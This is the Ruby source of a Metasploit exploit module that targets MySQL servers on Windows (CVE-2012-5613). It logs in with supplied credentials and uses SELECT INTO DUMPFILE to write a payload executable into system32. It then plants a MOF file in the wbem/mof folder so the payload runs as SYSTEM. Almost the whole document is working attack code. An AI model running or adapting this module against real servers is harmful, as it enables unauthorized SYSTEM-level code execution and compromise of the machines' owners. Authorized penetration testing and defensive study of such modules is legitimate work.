Oracle MySQL for Microsoft Windows MOF Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::MYSQL
 include Msf::Exploit::WbemExec
 include Msf::Exploit::EXE
 include Msf::Exploit::FileDropper

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Oracle MySQL for Microsoft Windows MOF Execution',
   'Description'    => %q{
     This modules takes advantage of a file privilege misconfiguration problem
    specifically against Windows MySQL servers (due to the use of a .mof file).
    This may result in arbitrary code execution under the context of SYSTEM. However,
    please note in order to use this module, you must have a valid MySQL account on
    the target machine.
   },
   'Author'         =>
    [
     'kingcope',
     'sinn3r'
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['CVE', '2012-5613'], #DISPUTED
     ['EDB', '23083'],
     ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13']
    ],
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'MySQL on Windows', { } ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 01 2012'
  ))

  register_options(
   [
    OptString.new('USERNAME', [ true, 'The username to authenticate as']),
    OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
   ])
 end

 def check
  begin
   m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
  rescue RbMysql::AccessDeniedError
   print_error("#{peer} - Access denied.")
   return Exploit::CheckCode::Safe
  end

  return Exploit::CheckCode::Appears if is_windows?
  return Exploit::CheckCode::Safe
 end

 def peer
  "#{rhost}:#{rport}"
 end

 def query(q)
  rows = []

  begin
   res = mysql_query(q)
   return rows if not res
   res.each_hash do |row|
    rows << row
   end
  rescue RbMysql::ParseError
   return rows
  end

  return rows
 end

 def is_windows?
  r = query("SELECT @@version_compile_os;")
  return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
 end

 def get_drive_letter
  r = query("SELECT @@tmpdir;")
  drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
  return drive
 end

 def upload_file(bin, dest)
  p = bin.unpack("H*")[0]
  query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
 end

 def exploit
  print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
  begin
   m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
   return if not m
  rescue RbMysql::AccessDeniedError
   print_error("#{peer} - Access denied.")
   return
  end

  if not is_windows?
   print_error("#{peer} - Remote host isn't Windows.")
   return
  end

  drive    = get_drive_letter
  exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
  dest     = "#{drive}:/windows/system32/#{exe_name}"
  exe      = generate_payload_exe
  print_status("#{peer} - Uploading to '#{dest}'")
  begin
   upload_file(exe, dest)
   register_file_for_cleanup("#{exe_name}")
  rescue RbMysql::AccessDeniedError
   print_error("#{peer} - No permission to write. I blame kc :-)")
   return
  end

  mof_name = Rex::Text::rand_text_alpha(5) + ".mof"
  dest     = "#{drive}:/windows/system32/wbem/mof/#{mof_name}"
  mof      = generate_mof(mof_name, exe_name)
  print_status("#{peer} - Uploading to '#{dest}'")
  begin
   upload_file(mof, dest)
   register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
  rescue RbMysql::AccessDeniedError
   print_error("#{peer} - No permission to write. Bail!")
   return
  end
 end

end